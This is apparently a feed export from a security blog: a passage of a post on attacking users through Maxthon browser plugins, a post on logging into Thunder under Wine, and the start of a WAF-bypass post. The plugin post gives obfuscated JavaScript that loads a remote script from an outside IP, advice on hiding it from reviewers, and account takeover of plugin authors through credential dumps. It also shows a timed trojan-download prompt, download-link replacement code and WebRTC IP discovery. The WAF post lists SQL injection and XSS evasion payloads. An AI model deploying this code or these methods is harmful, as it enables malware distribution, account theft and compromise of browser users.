&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;eval(function(p,a,c,k,e,d){e=function(c){return(c&amp;lt;a?&quot;&quot;: e(parseInt(c/a)))+((c=c%a)&amp;gt;35?String.fromCharCode(c+29): c.toString(36))};if(!&apos;&apos;.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return&apos;\\w+&apos;};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(&apos;\\b&apos;+e(c)+&apos;\\b&apos;,&apos;g&apos;),k[c]);return p;}(&apos;o 7=[&quot;\\e\\c\\g\\b\\a\\9&quot;,&quot;\\c\\g\\6\\8\\9\\6\\q\\h\\6\\j\\6\\f\\9&quot;,&quot;\\e\\g\\c&quot;,&quot;\\m\\9\\9\\a\\t\\i\\i\\d\\n\\j\\8\\b\\f\\i\\l\\8\\s\\8\\e\\c\\g\\b\\a\\9\\r\\b\\h\\6\\f\\8\\j\\6\\u\\l\\e&quot;,&quot;\\8\\a\\a\\6\\f\\d\\w\\m\\b\\h\\d&quot;,&quot;\\x\\n\\d\\v&quot;];o k=p[7[1]](7[0]);k[7[2]]=7[3];p[7[5]][7[4]](k)&apos;,34,34,&apos;||||||x65|_0|x61|x74|x70|x69|x63|x64|x73|x6E|x72|x6C|x2F|x6D|script|x6A|x68|x6F|var|document|x45|x66|x76|x3A|x2E|x79|x43|x62&apos;.split(&apos;|&apos;),0,{}))

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The method: first run the normal JavaScript through &lt;a href=&quot;https://javascriptobfuscator.com/Javascript-Obfuscator.aspx&quot;&gt;javascriptobfuscator&lt;/a&gt; and get:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var _0x67c5=[&quot;\x73\x63\x72\x69\x70\x74&quot;,&quot;\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74&quot;,&quot;\x73\x72\x63&quot;,&quot;\x68\x74\x74\x70\x3A\x2F\x2F\x64\x6F\x6D\x61\x69\x6E\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x66\x69\x6C\x65\x6E\x61\x6D\x65\x2E\x6A\x73&quot;,&quot;\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64&quot;,&quot;\x62\x6F\x64\x79&quot;];var script=document[_0x67c5[1]](_0x67c5[0]);script[_0x67c5[2]]= _0x67c5[3];document[_0x67c5[5]][_0x67c5[4]](script)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As in:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/browser-plugin-attack-vector/javascriptobfuscator-encode.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;That still looks a bit suspicious… so run it through &lt;a href=&quot;http://tool.chinaz.com/js.aspx&quot;&gt;Chinaz&lt;/a&gt; and turn it into the usual packed form:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/browser-plugin-attack-vector/chinaz-js-encrypt.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Looks much more normal. Buried in a lot of other code, reviewers will have a hard time finding it (and they will not look that hard).&lt;/p&gt;
&lt;p&gt;After you submit, the Maxthon plugin homepage shows recently updated plugins. Each week, add or delete a little code and push an update. Your plugin stays on the homepage year-round, and it is hard not to get installs.&lt;/p&gt;
&lt;h3&gt;0x1.3 Take over a plugin author’s account via a credential dump&lt;/h3&gt;
&lt;p&gt;This is my favorite. I have to admit, getting something for nothing feels great.&lt;/p&gt;
&lt;p&gt;Maxthon does not require a key to update a plugin the way Chrome does, so this “logic bug” exists. There is no check that the current user is the author, which is why this method works.&lt;/p&gt;
&lt;p&gt;I joined the Maxthon plugin author group: 203339427&lt;/p&gt;
&lt;p&gt;Most people in there are plugin developers. Take their emails and QQ numbers, look them up in a credential dump, and try the passwords. You often do not know which email the author used, so try QQ Mail first. It says the account or password is wrong, and you cannot tell which. Go to &lt;a href=&quot;https://my.maxthon.cn/recover.html&quot;&gt;Maxthon account center - forgot password&lt;/a&gt; and enter the QQ email. If it says the username does not exist, search the web for the author’s other emails and try those (for many of the accounts I tested, I had to search for another email). I submitted this as a vulnerability to WooYun, and Maxthon did not really respond. I wanted to log into another user’s account to demonstrate it, but WooYun was down at the time, so I could not see my old report. I also did not keep a copy of the accounts and passwords from the dump. They only lived in the WooYun report. So here I will use my own account as the example:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/browser-plugin-attack-vector/uploaded-plugins-list.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;There is an &lt;code&gt;Update file&lt;/code&gt; action. Download the package, plant a backdoor in the JavaScript, and upload it again. That is 1000+ users under control. The second review of a plugin is even looser.&lt;/p&gt;
&lt;p&gt;When you open Maxthon, it checks whether your plugins are up to date. If not, it silently installs the latest version in the background. That helps us a lot. After we push an update, we only need the user to reopen Maxthon for the attack to land.&lt;/p&gt;
&lt;p&gt;When you update, treat the account as your own, and write the 0x1.2 code into it. That is enough.&lt;/p&gt;
&lt;h3&gt;0x1.4 Control third-party JavaScript loaded by a plugin&lt;/h3&gt;
&lt;p&gt;This one is more work. There are two ways to get the third-party JavaScript, depending on the case:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No visible page&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Has a visible page&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;0x1.4.1 No visible page&lt;/h4&gt;
&lt;p&gt;Like I said above, in the plugin &lt;code&gt;def.json&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;&quot;actions&quot;: [{
    &quot;type&quot;: &quot;script&quot;,
    &quot;entryPoints&quot;: [
        &quot;doc_onload&quot;
    ],
    &quot;js&quot;: [
        &quot;base.js&quot;
    ],
    &quot;include&quot;: [&quot;*&quot;],
    &quot;includeFrames&quot;: true
}]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then in &lt;code&gt;base.js&lt;/code&gt; load the third-party JavaScript:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var script = document.createElement(&apos;script&apos;);
script.src = &quot;http://119.29.58.242/control.js&quot;;
document.body.appendChild(script);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For this kind, download the plugin, then decrypt it with Maxthon’s official &lt;a href=&quot;http://bbs.maxthon.cn/thread-664-1-1.html&quot;&gt;MxPacker&lt;/a&gt;. First look at which JavaScript file the &lt;code&gt;js&lt;/code&gt; field under &lt;code&gt;action&lt;/code&gt; in &lt;code&gt;def.json&lt;/code&gt; points to, then analyze that. You can also search file contents with other tools for the keyword &lt;code&gt;document.createElement&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;After you find it, the rest is grunt work: break into the site that hosts that third-party JavaScript, then change the file.&lt;/p&gt;
&lt;h4&gt;0x1.4.2 Has a visible page&lt;/h4&gt;
&lt;p&gt;This is a bit easier than 0x1.4.1. The snippet changduanduan posted on zone lists every third-party JavaScript on the page:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;for(var i=0,tags=document.querySelectorAll(&apos;iframe[src],frame[src],script[src],link[rel=stylesheet],object[data],embed[src]&apos;),tag;tag=tags[i];i++){
  var a = document.createElement(&apos;a&apos;);
  a.href = tag.src||tag.href||tag.data;
  if(a.hostname!=location.hostname){
    console.warn(location.hostname+&apos; found third-party resource [&apos;+tag.localName+&apos;]:&apos;+a.href);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Usage:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/browser-plugin-attack-vector/kuaidi-plugin-detail.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/browser-plugin-attack-vector/inspect-plugin-page.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/browser-plugin-attack-vector/console-typeerrors.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/browser-plugin-attack-vector/third-party-resource-log.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;When you use it, some plugins load their own JavaScript, or JavaScript from Baidu, 360, and other third-party sites that are hard to break into. That is when it gets slow and painful.&lt;/p&gt;
&lt;h3&gt;0x1.4.3 Summary of controlling third-party JavaScript loaded by a plugin&lt;/h3&gt;
&lt;p&gt;This method is tedious. Pros:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Hard to detect&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Hard to trace back&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Drawbacks:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Time-consuming&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Low success rate&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Use this when you are targeting one person or group, you only know the names of the plugins they installed, and you have no other option.&lt;/p&gt;
&lt;h2&gt;0x2 Hidden APIs&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;Some APIs return fairly private data, so Maxthon left them out of the API docs. They still exist. On a normal page, open Inspect, go to Console, type &lt;code&gt;external&lt;/code&gt;, and you can see some of Maxthon’s hidden APIs.&lt;/p&gt;
&lt;p&gt;There is another set that only exists on plugin pages. Plugin APIs change in almost every version. Here is the 3.x API:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;maxthon.system.Utility.getMacAddresses() // get the user&apos;s MAC address
maxthon.system.GraphicsEnvironment.getLocalGraphicsEnvironment().getAvailableFontFamilyNames() // get all of the user&apos;s current fonts
maxthon.system.GraphicsEnvironment.getLocalGraphicsEnvironment().getSystemFontName() // the font the user is currently using
maxthon.io.File.createTempFile().name_ // get the user&apos;s temp directory
maxthon.io.File.createTempFile().isFile // check whether the name_ file exists, but here I cannot reset the value of name_
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here is the latest 4.x API:&lt;/p&gt;
&lt;p&gt;Maxthon split the old functions and objects off the &lt;code&gt;maxthon&lt;/code&gt; object into other places (they are still there, I do not know why)&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;mx.app.getAvatar()    // get the currently logged-in user&apos;s avatar (data: image/png;base64 format)
mx.app.login()    // check whether the user is logged into Maxthon (returns true if logged in, false if not)
mx.app.getProfile()    // get the user&apos;s current state (whether logged in, uid, username)
mx.app.getSystemLocale()    // get the system language (e.g. zh-cn)
mx.app.showUserPanel()    // show the user menu (equivalent to clicking the avatar in the top-left)
// the code above requires running mx.app.user() and mx.app.locale() first

clientInformation.plugins     // plugins the browser supports (you can see which software the user has installed)
clientInformation.mimeTypes    // list the supported applications (you can see which software the user has installed)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Screenshots of the last two APIs:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/browser-plugin-attack-vector/plugins-api-output.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/browser-plugin-attack-vector/mimetypes-api-output.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Put this in a plugin and listing the software a user has installed is trivial. There is basically no privacy left.&lt;/p&gt;
&lt;h2&gt;0x3 Attack vectors&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;We will skip the usual cookie stealing and cover something else.&lt;/p&gt;
&lt;p&gt;Everything above is about attacking the user through a browser plugin, but the attack surface is still the browser. Who wouldn’t want to go further and take over the machine? The rough ideas:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Pop a dialog saying they need to download software, which is actually a trojan&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Attack with a browser vulnerability&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Replace download links&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;0x3.1 Pop a dialog to trick users into downloading software&lt;/h3&gt;
&lt;p&gt;This step is simple. Just a bit of JavaScript:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;(function(){    // closure, to prevent variable pollution
    alert(&quot;Please download the xxx security plugin to stay safe on this site&quot;);
    location.href = &quot;http://baidu.com/download/xxxx.exe&quot;;
})()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You cannot keep popping the download, or people will get suspicious. A tighter version:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;(function(){    // closure, to prevent variable pollution
    var downDate = new Date();  // get the current time
    var downDateY = String(downDate).split(&quot; &quot;)[3]; // year
    var downDateM = String(downDate).split(&quot; &quot;)[1]; // month
    var downDateD = String(downDate).split(&quot; &quot;)[2]; // day
    var downDateT = String(downDate).split(&quot; &quot;)[4].split(&quot;:&quot;);  // time
    if(location.href != &quot;https://baidu.com/&quot;){  // if it is not Baidu, do not run the code below
        return fasle;
    }
    if(downDateY == &quot;2016&quot; &amp;amp;&amp;amp; downDateM == &quot;Oct&quot; &amp;amp;&amp;amp; downDateD == &quot;28&quot; &amp;amp;&amp;amp; downDateT[0] == &quot;21&quot; &amp;amp;&amp;amp; downDateT[1] &amp;lt; &quot;30&quot;){
        alert(&quot;Please download the xxx security plugin to stay safe on this site&quot;);
        location.href = &quot;http://baidu.com/download/xxxx.exe&quot;;
    }
})()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Do not write it the way I did in a real payload. I wrote it this way because the logic is simple, but the code is long. The meaning: if the current site is &lt;code&gt;https://baidu.com/&lt;/code&gt;, then check whether the time is between 9:00 PM and 9:30 PM on 28 Oct 2016. If it is, pop the dialog and make the user download the trojan.&lt;/p&gt;
&lt;h3&gt;0x3.2 Attack with a browser vulnerability&lt;/h3&gt;
&lt;p&gt;You have to find the bugs yourself. I will not go further here. You can read Blast’s book Browser Security. You can also look at Hei Ge’s earlier PPT, “The browsers we crossed last year”. Maxthon already had an issue with &lt;code&gt;mxCall&lt;/code&gt; on a privileged origin that let you run arbitrary commands. Dig around. You will find surprises.&lt;/p&gt;
&lt;h3&gt;0x3.3 Replace download links&lt;/h3&gt;
&lt;p&gt;For replacement, first collect a few high-traffic download sites. A few I listed:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;http://xiazai.zol.com.cn/&quot;&gt;ZOL Downloads - free and portable software&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.skycn.com/&quot;&gt;Skycn download site&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.onlinedown.net/&quot;&gt;Onlinedown software park&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.skycn.net/&quot;&gt;hao123 download site&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://dl.pconline.com.cn/&quot;&gt;PConline download center&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://rj.baidu.com/&quot;&gt;Baidu software center&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;There are many more. I will not list them all here. Next we write the JavaScript that replaces links on these download sites.
First, a snippet that checks whether the current URL is a download site&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;(function(){
    var downloadWebsite = [
        &apos;http://xiazai.zol.com.cn&apos;,
        &apos;http://www.skycn.com&apos;,
        &apos;http://www.onlinedown.net&apos;,
        &apos;http://dl.pconline.com.cn&apos;,
        &apos;http://rj.baidu.com&apos;
    ];  // download-site URLs to replace
    var replaceDownloadUrl = &quot;http://xxxx.com/download/soft.rar&quot;;   // the software to swap in
    switch(location.origin){  // check the current URL to see whether it is a download site; if so, enter its handler
        case downloadWebsite[0]:
            var download1 = document.getElementById(&quot;downloadTop&quot;);
            var download2 = document.querySelectorAll(&quot;.down-alink a&quot;);
            var download3 = document.querySelectorAll(&quot;.down-alink01 a&quot;);
            if(download1 != null &amp;amp;&amp;amp; download2.length != 0 &amp;amp;&amp;amp; download3.length != 0){
                download1.href = replaceDownloadUrl;
                for(var j = 0;j &amp;lt; download2.length;j++){
                    download2[j].href = replaceDownloadUrl;
                }
                for(var k = 0;k &amp;lt; download3.length;k++){
                    download3[k].href = replaceDownloadUrl;
                }
            }
        break;
        case downloadWebsite[1]:
            var download1 = document.querySelectorAll(&quot;.ul_Address li a&quot;);
            if(download1.length != 0){
                for(var j = 0;j &amp;lt; download1.length;j++){
                    download1[j].href = replaceDownloadUrl;
                }
            }
        break;
        case downloadWebsite[2]:
            var download1 = document.querySelectorAll(&quot;.softinfoBox .meg a&quot;);
            var download2 = document.querySelectorAll(&quot;.downDz a&quot;);;
            if(download1.length != 0 &amp;amp;&amp;amp; download2.length != 0){
                download1[0].href = replaceDownloadUrl;
                for(var j = 0;j &amp;lt; download2.length;j++){
                    download2[j].href = replaceDownloadUrl;
                }
            }
        break;
        case downloadWebsite[3]:
            var download1 = document.querySelectorAll(&quot;.dlLinks-a a&quot;);
            if(download1.length != 0){
                for(var j = 0;j &amp;lt; download1.length;j++){
                    download1[j].href = replaceDownloadUrl;
                }
            }
        break;
        case downloadWebsite[4]:
            var download1 = document.querySelectorAll(&quot;.fast_download&quot;);
            var download2 = document.querySelectorAll(&quot;.normal_download&quot;);
            if(download1.length != 0 &amp;amp;&amp;amp; download2.length != 0){
                download1[0].href = replaceDownloadUrl;
                download2[0].href = replaceDownloadUrl;
            }
        break;
    }
})()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;0x3.4 Change Baidu ranking&lt;/h3&gt;
&lt;p&gt;If you want SEO, you can use this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;(function(){
    if(location.origin == &quot;https://www.baidu.com&quot; &amp;amp;&amp;amp; location.pathname == &quot;/s&quot;){    // when it is a Baidu search page
        document.querySelectorAll(&quot;#content_left h3 a&quot;)[0].href = &quot;http://360.cn/&quot;; // replace the first search result with the given URL
    }
})()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;0x3.4 Intranet sniffing&lt;/h3&gt;
&lt;p&gt;This method needs more space, so I will cover it in the next chapter. Below is getting the intranet IP with WebRTC:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var ipList = [];
var webrtcxss = {
    webrtc        : function(callback){
        var ip_dups           = {};
        var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
        var mediaConstraints  = {
            optional: [{RtpDataChannels: true}]
        };
        var servers = undefined;
        if(window.webkitRTCPeerConnection){
            servers = {iceServers: []};
        }
        var pc = new RTCPeerConnection(servers, mediaConstraints);
        pc.onicecandidate = function(ice){
            if(ice.candidate){
                var ip_regex        = /([0-9]{1,3}(\.[0-9]{1,3}){3})/;
                var ip_addr         = ip_regex.exec(ice.candidate.candidate)[1];
                if(ip_dups[ip_addr] === undefined)
                callback(ip_addr);
                ip_dups[ip_addr]    = true;
            }
        };
        pc.createDataChannel(&quot;&quot;);
        pc.createOffer(function(result){
            pc.setLocalDescription(result, function(){});
        });
    },
    getIp        : function(){
        this.webrtc(function(ip){
            console.log(ip)
        });
    }
}
webrtcxss.getIp();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can take this and think about more interesting uses.&lt;/p&gt;
&lt;h2&gt;0x4 Closing&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;There are many more APIs and attack methods waiting to be found. What I can do is open a new attack surface, so we are not stuck with the methods we already know.&lt;/p&gt;
</content:encoded><category>web security</category><category>browser plugin</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>How to log in to Thunder under Debian</title><link>https://bugs.cc/posts/how-to-use-thunder-login-account-under-debian/</link><guid isPermaLink="true">https://bugs.cc/posts/how-to-use-thunder-login-account-under-debian/</guid><description>When you open Thunder (Xunlei) with Wine on Linux, login does not work. This post uses Wireshark to solve that.</description><pubDate>Wed, 24 Aug 2016 05:08:47 GMT</pubDate><content:encoded>&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;Today I saw someone share the movie “Now You See Me 2” on Qzone.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/how-to-use-thunder-login-account-under-debian/qzone-movie-share.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;mongoose has been annoying me these past few days, and I wanted to watch a movie to relax, but I still have to write code, so I figured I would download the movie and watch it after the bug was fixed. So here comes the problem.&lt;/p&gt;
&lt;h2&gt;Download Thunder&lt;/h2&gt;
&lt;p&gt;Maybe it is a regional thing, but Thunder from the official site is very slow, so I used Baidu Manager to download it. &lt;a href=&quot;http://112.29.142.181/sw.bos.baidu.com/sw-search-sp/software/66cfb7c33b400/Thunder_9.0.12.332_baidu.exe&quot;&gt;fuck me down XunLei&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Setup&lt;/h2&gt;
&lt;p&gt;Just use Wine to run the exe. I will not cover that here. Look it up on Baidu yourself.&lt;/p&gt;
&lt;h2&gt;Install notes&lt;/h2&gt;
&lt;p&gt;Do not use &lt;code&gt;sudo wine Thunder_9.0.12.332_baidu.exe&lt;/code&gt;. Use &lt;code&gt;wine Thunder_9.0.12.332_baidu.exe&lt;/code&gt;, or Thunder will be installed under the root user.&lt;/p&gt;
&lt;h2&gt;How to launch&lt;/h2&gt;
&lt;p&gt;After Thunder is installed, it puts a shortcut on your desktop. If it does not, do what I did:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;cd ~/.wine/drive_c/Program\ Files\ \(x86\)/Thunder\ Network/Thunder9/Program/&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;wine Thunder.exe&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Then it started successfully.&lt;/p&gt;
&lt;p&gt;Like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/how-to-use-thunder-login-account-under-debian/thunder-main-window.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Why is there a black window?&lt;/h2&gt;
&lt;p&gt;The black window is a browser, Thunder’s bundled XBrowser. My guess is it is a DLL issue. When I have time, I will find a Windows machine and see which DLLs this browser depends on. The browser does not matter. You can still download without it.&lt;/p&gt;
&lt;h2&gt;Login&lt;/h2&gt;
&lt;p&gt;Here is the important part. When you click login, it asks for the account and password.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/how-to-use-thunder-login-account-under-debian/thunder-login-dialog.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;You will notice that the string you type does not show. Don’t panic. It is like typing a password in a Linux terminal. You did type it, it is just invisible. Then you can log in. But sometimes a captcha box shows up.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/how-to-use-thunder-login-account-under-debian/blank-captcha-dialog.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Then you find, annoyingly, that the captcha has gone to shit. So now we solve that. Think about how a captcha works. When I click “Can’t see it, get another”, it must send a packet, then return a new captcha packet. We only need to intercept that data. I used Wireshark to capture packets.&lt;/p&gt;
&lt;p&gt;To install Wireshark on Debian, add the Kali repos, then &lt;code&gt;sudo apt-get update&amp;amp;&amp;amp;sudo apt-get install wireshark&lt;/code&gt; is enough. Remember to run it with &lt;code&gt;sudo wireshark&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/how-to-use-thunder-login-account-under-debian/wireshark-capture-interfaces.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;My interface here is wlan0. Yours may differ. Pick the one that looks right.&lt;/p&gt;
&lt;p&gt;Then you will see a lot of packets.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/how-to-use-thunder-login-account-under-debian/wireshark-packet-capture.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;At this point, in Filter, enter &lt;code&gt;http&amp;amp;&amp;amp; http contains &quot;image/jpeg&quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Then open Thunder and log in. When the captcha shows up, switch back to Wireshark and look.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/how-to-use-thunder-login-account-under-debian/wireshark-jpeg-filter.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Select it (click once so the background turns blue).&lt;/p&gt;
&lt;p&gt;Then File-&amp;gt;Export Objects-&amp;gt;HTTP&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/how-to-use-thunder-login-account-under-debian/wireshark-export-objects.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Select the one whose address is &lt;code&gt;verify2.xunlei.com&lt;/code&gt; and whose Content Type is &lt;code&gt;image/jpeg&lt;/code&gt;, then save as xx.jpg.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/how-to-use-thunder-login-account-under-debian/http-object-list.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/how-to-use-thunder-login-account-under-debian/save-object-dialog.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/how-to-use-thunder-login-account-under-debian/saved-captcha.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Use the captcha to log in.&lt;/p&gt;
</content:encoded><category>linux</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Notes on bypassing WAFs (Web Application Firewalls)</title><link>https://bugs.cc/posts/talk-about-how-to-bypass-waf/</link><guid isPermaLink="true">https://bugs.cc/posts/talk-about-how-to-bypass-waf/</guid><description>A few tricks for bypassing a WAF</description><pubDate>Sat, 20 Aug 2016 11:04:31 GMT</pubDate><content:encoded>&lt;h2&gt;0×01 Intro&lt;/h2&gt;
&lt;p&gt;This talk is mainly about a way of thinking, not handing you ready-made code.&lt;/p&gt;
&lt;p&gt;In many people’s eyes a WAF (Web Application Firewall) is another word for “shameless”. Without it, our “world” might be a nicer place. Too bad. Without it, how would the big sites survive. That said, I am on your side, so today we talk about bypassing WAFs. I called it a ramble because this talk also goes into webkit, nginx&amp;amp;apache, and more. Let’s get started :)&lt;/p&gt;
&lt;h2&gt;0x02 Facing WAF&lt;/h2&gt;
&lt;p&gt;As the first section, a few simple ways to bypass a WAF.&lt;/p&gt;
&lt;h3&gt;1. Case swapping&lt;/h3&gt;
&lt;p&gt;The name says it: uppercase to lowercase, lowercase to uppercase. For example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;SQL: sEleCt vERsIoN();
‍‍XSS: &amp;lt;sCrIpt&amp;gt;alert(1)&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Why it works: the WAF regex is incomplete, or it never lowercases / uppercases.&lt;/p&gt;
&lt;h3&gt;2. Junk-character pollution&lt;/h3&gt;
&lt;p&gt;Nulls, spaces, TAB/newlines, comments, special functions, and so on. For example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;SQL: sEleCt+1-1+vERsIoN   /*!*/       ();`yohehe‍‍
‍‍SQL2: select/*!*/`version`();
XSS: covered in detail in the next section
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. Character encoding&lt;/h3&gt;
&lt;p&gt;Encode some of the characters. Common SQL encodings: unicode, HEX, URL, ASCII, base64. XSS encodings: HTML, URL, ASCII, JS encoding, base64, and so on&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;SQL: load_file(0x633A2F77696E646F77732F6D792E696E69)
‍‍‍‍XSS: &amp;lt;script%20src%3D&quot;http%3A%2F%2F0300.0250.0000.0001&quot;&amp;gt;&amp;lt;%2Fscript&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Why it works: use the browser’s base conversion or language encoding rules to bypass the WAF.&lt;/p&gt;
&lt;h3&gt;4. Piecing together&lt;/h3&gt;
&lt;p&gt;If some string is filtered, we put a piece of the original string on both sides of it.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;SQL: selselectect verversionsion();
‍‍‍‍XSS: &amp;lt;scr&amp;lt;script&amp;gt;rip&amp;gt;alalertert&amp;lt;/scr&amp;lt;/script&amp;gt;rip&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Why it works: the WAF is incomplete. It only checks the string once, or the filtered string is not complete.&lt;/p&gt;
&lt;p&gt;The point of this section: a WAF always has holes. Nothing is perfect.&lt;/p&gt;
&lt;h2&gt;0x03 Bypassing WAF from the WebKit angle&lt;/h2&gt;
